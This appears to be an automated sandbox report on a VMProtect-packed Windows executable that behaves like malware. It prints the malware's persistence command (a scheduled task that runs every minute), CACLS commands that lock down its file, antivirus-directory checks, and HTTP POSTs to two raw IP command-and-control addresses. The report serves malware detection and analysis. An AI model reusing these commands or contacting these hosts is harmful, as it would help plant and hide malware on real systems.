Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 10, 2023, 7:44 a.m.	Aug. 10, 2023, 7:47 a.m.

Size	6.5MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`92031e02bc46932ace98fb8b54f261f4`
SHA256	`15767660942cc7c75ff800cfeb1b759f8194d3a1332a9fb024abdf4b86cfc9df`
CRC32	`0EB23445`
ssdeep	`98304:FgTOuxyekXIG+AM/M8MqPtPGp/6qWXCT5QYux3bWJvAi9nzDMeEuJW2wq73:l4KM/BMqPt8/lWSDucUPqr`
Yara	UPX_Zero - UPX packed file VMProtect_Zero - VMProtect packed file Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

a3e34cp.exe "C:\Users\test22\AppData\Local\Temp\a3e34cp.exe"
2548
- bstyoops.exe "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe"
  2708
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F
    2784
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "bstyoops.exe" /P "test22:N"&&CACLS "bstyoops.exe" /P "test22:R" /E&&echo Y|CACLS "..\c2868ed41c" /P "test22:N"&&CACLS "..\c2868ed41c" /P "test22:R" /E&&Exit
    2840
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2912
    - cacls.exe CACLS "bstyoops.exe" /P "test22:N"
      2948
    - cacls.exe CACLS "bstyoops.exe" /P "test22:R" /E
      3004
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      3052
    - cacls.exe CACLS "..\c2868ed41c" /P "test22:N"
      604
    - cacls.exe CACLS "..\c2868ed41c" /P "test22:R" /E
      800
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
45.9.74.141	Active	Moloch
45.9.74.166	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 10, 2023, 7:44 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 10, 2023, 7:44 a.m.	buffer: SUCCESS: The scheduled task "bstyoops.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Aug. 10, 2023, 7:44 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Aug. 10, 2023, 7:44 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 10, 2023, 7:44 a.m.	buffer: r console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 10, 2023, 7:44 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	.vmp0
section	.vmp1
section	.vmp2

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address				suspicious_request	POST http://45.9.74.141/b7djSDcPcZ/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address				suspicious_request	POST http://45.9.74.166/b7djSDcPcZ/index.php

Performs some HTTP requests (2 events)

request	POST http://45.9.74.141/b7djSDcPcZ/index.php
request	POST http://45.9.74.166/b7djSDcPcZ/index.php

Sends data using the HTTP POST Method (2 events)

request	POST http://45.9.74.141/b7djSDcPcZ/index.php
request	POST http://45.9.74.166/b7djSDcPcZ/index.php

Allocates read-write-execute memory (usually to unpack itself) (5 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 10, 2023, 7:44 a.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 10, 2023, 7:44 a.m.	process_identifier: 2548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2023, 7:44 a.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2023, 7:46 a.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004700000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 10, 2023, 7:44 a.m.	process_identifier: 2708 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00e70000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Checks whether any human activity is being performed by constantly checking whether the foreground window changed

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "bstyoops.exe" /P "test22:N"&&CACLS "bstyoops.exe" /P "test22:R" /E&&echo Y\|CACLS "..\c2868ed41c" /P "test22:N"&&CACLS "..\c2868ed41c" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Aug. 10, 2023, 7:44 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe	1	1
ShellExecuteExW Aug. 10, 2023, 7:44 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Aug. 10, 2023, 7:44 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "bstyoops.exe" /P "test22:N"&&CACLS "bstyoops.exe" /P "test22:R" /E&&echo Y\|CACLS "..\c2868ed41c" /P "test22:N"&&CACLS "..\c2868ed41c" /P "test22:R" /E&&Exit filepath: cmd	1	1

The binary likely contains encrypted or compressed data indicative of a packer (3 events)

section

{u'size_of_data': u'0x00654000', u'virtual_address': u'0x003a7000', u'entropy': 7.966493600589646, u'name': u'.vmp2', u'virtual_size': u'0x00653f90'}

entropy

7.96649360059

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x0002b600', u'virtual_address': u'0x009fc000', u'entropy': 7.062462744701786, u'name': u'.rsrc', u'virtual_size': u'0x0009c3f0'}

entropy

7.0624627447

description

A section with a high entropy has been found

entropy

0.999549312702

description

Overall entropy of this PE file is high

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F

The executable is likely packed with VMProtect (3 events)

section	.vmp0	description	Section name indicates VMProtect
section	.vmp1	description	Section name indicates VMProtect
section	.vmp2	description	Section name indicates VMProtect

Communicates with host for which no DNS query was performed (2 events)

host	45.9.74.141
host	45.9.74.166

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN bstyoops.exe /TR "C:\Users\test22\AppData\Local\Temp\c2868ed41c\bstyoops.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "bstyoops.exe" /P "test22:N"&&CACLS "bstyoops.exe" /P "test22:R" /E&&echo Y\|CACLS "..\c2868ed41c" /P "test22:N"&&CACLS "..\c2868ed41c" /P "test22:R" /E&&Exit
cmdline	CACLS "bstyoops.exe" /P "test22:R" /E
cmdline	CACLS "bstyoops.exe" /P "test22:N"
cmdline	CACLS "..\c2868ed41c" /P "test22:R" /E
cmdline	cmd /k echo Y\|CACLS "bstyoops.exe" /P "test22:N"&&CACLS "bstyoops.exe" /P "test22:R" /E&&echo Y\|CACLS "..\c2868ed41c" /P "test22:N"&&CACLS "..\c2868ed41c" /P "test22:R" /E&&Exit
cmdline	CACLS "..\c2868ed41c" /P "test22:N"

a3e34cp.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All